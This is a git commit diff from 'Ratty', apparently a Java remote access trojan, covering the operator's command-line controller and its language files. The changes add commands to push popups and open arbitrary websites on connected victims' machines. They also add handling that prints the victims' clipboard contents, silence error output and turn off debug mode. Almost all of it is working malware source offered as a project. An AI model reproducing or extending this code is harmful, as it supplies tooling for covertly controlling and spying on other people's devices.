Browse Source

Major changes

Further command line control development
master
Sogomn 9 years ago
parent
commit
75110119f0
  1. 9
      Ratty/res/language/lang.properties
  2. 9
      Ratty/res/language/lang_de.properties
  3. 9
      Ratty/res/language/lang_en.properties
  4. 16
      Ratty/src/de/sogomn/rat/Ratty.java
  5. 46
      Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java
  6. 123
      Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java

9
Ratty/res/language/lang.properties

@ -39,6 +39,13 @@ LIST: Lists all connections\r\n\
EXIT: Well...\r\n\
FREE <CLIENT>: Frees a client\r\n\
POPUP <CLIENT> <STRING>: Shows a popup on the client's device\r\n\
WEBSITE <CLIENT> <STRING>: Opens a website on the client's device\r\n\
\r\n\
<CLIENT>: Either a number (the index) or an IP address\r\n\
<STRING>: A string
<STRING>: A string
cmd.start=Ratty command line tool\r\n\
Type 'HELP' to get a list of commands
cmd.invalid=Invalid command or parameters
cmd.empty_list=No client connected yet
cmd.connected=Client connected
cmd.disconnected=Client disconnected

9
Ratty/res/language/lang_de.properties

@ -39,6 +39,13 @@ LIST: Gibt alle Verbindungen aus\r\n\
EXIT: Naja...\r\n\
FREE <CLIENT>: Befreit den Client\r\n\
POPUP <CLIENT> <STRING>: Öffnet ein Popupfenster beim Client\r\n\
WEBSITE <CLIENT> <STRING>: Öffnet eine Webseite beim Client\r\n\
\r\n\
<CLIENT>: Entweder eine Nummer (der Index) oder eine IP-Adresse\r\n\
<STRING>: Eine Zeichenkette
<STRING>: Eine Zeichenkette
cmd.start=Ratty Kommandozeilen-Tool\r\n\
Gib 'HELP' für eine Listen von Befehlen ein
cmd.invalid=Ungültiger Befehl oder Parameter
cmd.empty_list=Noch kein Client verbunden
cmd.connected=Client verbunden
cmd.disconnected=Client getrennt

9
Ratty/res/language/lang_en.properties

@ -39,6 +39,13 @@ LIST: Lists all connections\r\n\
EXIT: Well...\r\n\
FREE <CLIENT>: Frees a client\r\n\
POPUP <CLIENT> <STRING>: Shows a popup on the client's device\r\n\
WEBSITE <CLIENT> <STRING>: Opens a website on the client's device\r\n\
\r\n\
<CLIENT>: Either a number (the index) or an IP address\r\n\
<STRING>: A string
<STRING>: A string
cmd.start=Ratty command line tool\r\n\
Type 'HELP' to get a list of commands
cmd.invalid=Invalid command or parameters
cmd.empty_list=No client connected yet
cmd.connected=Client connected
cmd.disconnected=Client disconnected

16
Ratty/src/de/sogomn/rat/Ratty.java

@ -25,7 +25,7 @@ import de.sogomn.rat.server.gui.RattyGuiController;
*/
public final class Ratty {
public static final boolean DEBUG = true;
public static final boolean DEBUG = false;
public static final String VERSION = "1.3";
public static final ResourceBundle LANGUAGE = ResourceBundle.getBundle("language.lang");
@ -104,12 +104,6 @@ public final class Ratty {
}
}
private static int getPortInput() {
final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION);
return parsePort(input);
}
public static void connectToHost(final String address, final int port) {
final ActiveConnection newClient = new ActiveConnection(address, port);
final Trojan trojan = new Trojan();
@ -175,7 +169,13 @@ public final class Ratty {
System.out.println(PORT_ERROR_MESSAGE);
}
} else {
final int port = getPortInput();
final String input = JOptionPane.showInputDialog(PORT_INPUT_QUESTION);
if (input == null) {
return;
}
final int port = parsePort(input);
if (port != -1) {
startServer(port, true);

46
Ratty/src/de/sogomn/rat/server/cmd/CommandLineReader.java

@ -3,7 +3,7 @@ package de.sogomn.rat.server.cmd;
import java.io.BufferedReader;
import java.io.IOException;
import java.io.InputStreamReader;
import java.util.stream.Stream;
import java.util.ArrayList;
import de.sogomn.engine.util.AbstractListenerContainer;
@ -12,8 +12,6 @@ public final class CommandLineReader extends AbstractListenerContainer<ICommandL
private BufferedReader reader;
private Thread thread;
private static final String ARGUMENT_SEPARATOR = " ";
public CommandLineReader() {
final InputStreamReader inReader = new InputStreamReader(System.in);
@ -57,6 +55,9 @@ public final class CommandLineReader extends AbstractListenerContainer<ICommandL
private final String command;
private final String[] arguments;
private static final char ARGUMENT_SEPARATOR = ' ';
private static final char STRING_LITERAL = '\"';
public static final Command EMPTY = new Command("");
public Command(final String command, final String... arguments) {
@ -100,19 +101,42 @@ public final class CommandLineReader extends AbstractListenerContainer<ICommandL
}
public static Command parse(final String line) {
final String[] parts = line.split(ARGUMENT_SEPARATOR);
if (parts.length == 0) {
if (line == null || line.isEmpty()) {
return EMPTY;
}
final String commandString = parts[0];
final String[] arguments = Stream
.of(parts)
final int length = line.length();
final StringBuilder currentArgument = new StringBuilder();
final ArrayList<String> arguments = new ArrayList<String>();
boolean string = false;
for (int i = 0; i < length; i++) {
final char c = line.charAt(i);
if (c == STRING_LITERAL) {
string = !string;
} else if (c == ARGUMENT_SEPARATOR && !string) {
final String argument = currentArgument.toString();
arguments.add(argument);
currentArgument.setLength(0);
} else {
currentArgument.append(c);
}
}
final String argument = currentArgument.toString();
arguments.add(argument);
final String commandString = arguments.get(0);
final String[] argumentArray = arguments
.stream()
.skip(1)
.filter(part -> part != null && !part.isEmpty())
.filter(arg -> arg != null && !arg.isEmpty())
.toArray(String[]::new);
final Command command = new Command(commandString, arguments);
final Command command = new Command(commandString, argumentArray);
return command;
}

123
Ratty/src/de/sogomn/rat/server/cmd/RattyCmdController.java

@ -1,11 +1,19 @@
package de.sogomn.rat.server.cmd;
import static de.sogomn.rat.Ratty.LANGUAGE;
import java.io.IOException;
import java.io.OutputStream;
import java.io.PrintStream;
import de.sogomn.rat.ActiveConnection;
import de.sogomn.rat.Ratty;
import de.sogomn.rat.packet.ClipboardPacket;
import de.sogomn.rat.packet.FreePacket;
import de.sogomn.rat.packet.IPacket;
import de.sogomn.rat.packet.PopupPacket;
import de.sogomn.rat.packet.WebsitePacket;
import de.sogomn.rat.server.AbstractRattyController;
import de.sogomn.rat.server.ActiveServer;
import de.sogomn.rat.server.cmd.CommandLineReader.Command;
public final class RattyCmdController extends AbstractRattyController implements ICommandLineListener {
@ -17,12 +25,28 @@ public final class RattyCmdController extends AbstractRattyController implements
private static final String LIST = "List";
private static final String POPUP = "Popup";
private static final String HELP = "Help";
private static final String WEBSITE = "WEBSITE";
private static final String HELP_STRING = Ratty.LANGUAGE.getString("cmd.help");
private static final String START_MESSAGE = LANGUAGE.getString("cmd.start");
private static final String HELP_MESSAGE = LANGUAGE.getString("cmd.help");
private static final String INVALID_COMMAND = LANGUAGE.getString("cmd.invalid");
private static final String EMPTY_LIST_MESSAGE = LANGUAGE.getString("cmd.empty_list");
private static final String CLIENT_CONNECTED_MESSAGE = LANGUAGE.getString("cmd.connected");
private static final String CLIENT_DISCONNECTED_MESSAGE = LANGUAGE.getString("cmd.disconnected");
public RattyCmdController() {
reader = new CommandLineReader();
System.setErr(new PrintStream(new OutputStream() {
@Override
public void write(final int b) throws IOException {
//...
}
}));
System.out.println(START_MESSAGE);
System.out.println();
reader.addListener(this);
reader.start();
}
@ -84,11 +108,11 @@ public final class RattyCmdController extends AbstractRattyController implements
/*
* ==================================================
* HANDLING
* HANDLING COMMANDS
* ==================================================
*/
private void freeClient(final Command command) {
private boolean freeClient(final Command command) {
final String input = command.argument(0);
final ActiveConnection connection = getConnection(input);
@ -96,10 +120,18 @@ public final class RattyCmdController extends AbstractRattyController implements
final FreePacket packet = new FreePacket();
connection.addPacket(packet);
return true;
}
return false;
}
private void listClients() {
private void listConnections() {
if (connections.isEmpty()) {
System.out.println(EMPTY_LIST_MESSAGE);
}
connections.stream().forEach(connection -> {
final int index = connections.indexOf(connection);
@ -107,16 +139,48 @@ public final class RattyCmdController extends AbstractRattyController implements
});
}
private void sendPopup(final Command command) {
private boolean sendPopup(final Command command) {
final String connectionInput = command.argument(0);
final ActiveConnection connection = getConnection(connectionInput);
final String message = command.argument(1);
if (connection != null && message != null) {
final PopupPacket packet = new PopupPacket();
final PopupPacket packet = new PopupPacket(message);
connection.addPacket(packet);
return true;
}
return false;
}
private boolean openWebsite(final Command command) {
final String connectionInput = command.argument(0);
final ActiveConnection connection = getConnection(connectionInput);
final String address = command.argument(1);
if (connection != null && address != null) {
final WebsitePacket packet = new WebsitePacket(address);
connection.addPacket(packet);
return true;
}
return false;
}
/*
* ==================================================
* HANDLING PACKETS
* ==================================================
*/
private void handleClipboardPacket(final ClipboardPacket packet) {
final String content = packet.getClipbordContent();
System.out.println(content);
}
/*
@ -127,22 +191,57 @@ public final class RattyCmdController extends AbstractRattyController implements
@Override
public void packetReceived(final ActiveConnection connection, final IPacket packet) {
//...
final Class<? extends IPacket> clazz = packet.getClass();
if (clazz == ClipboardPacket.class) {
final ClipboardPacket clipboard = (ClipboardPacket)packet;
handleClipboardPacket(clipboard);
}
}
@Override
public void commandInput(final Command command) {
boolean successful = true;
if (command.equals(EXIT)) {
System.exit(0);
} else if (command.equals(FREE)) {
freeClient(command);
successful = freeClient(command);
} else if (command.equals(LIST)) {
listClients();
listConnections();
} else if (command.equals(POPUP)) {
sendPopup(command);
successful = sendPopup(command);
} else if (command.equals(HELP)) {
System.out.println(HELP_STRING);
System.out.println(HELP_MESSAGE);
} else if (command.equals(WEBSITE)) {
successful = openWebsite(command);
} else {
successful = false;
}
if (!successful) {
System.out.println(INVALID_COMMAND);
}
System.out.println();
}
@Override
public void connected(final ActiveServer server, final ActiveConnection connection) {
super.connected(server, connection);
System.out.println(CLIENT_CONNECTED_MESSAGE);
System.out.println();
}
@Override
public void disconnected(final ActiveConnection connection) {
super.disconnected(connection);
System.out.println(CLIENT_DISCONNECTED_MESSAGE);
System.out.println();
}
}
Loading…
Cancel
Save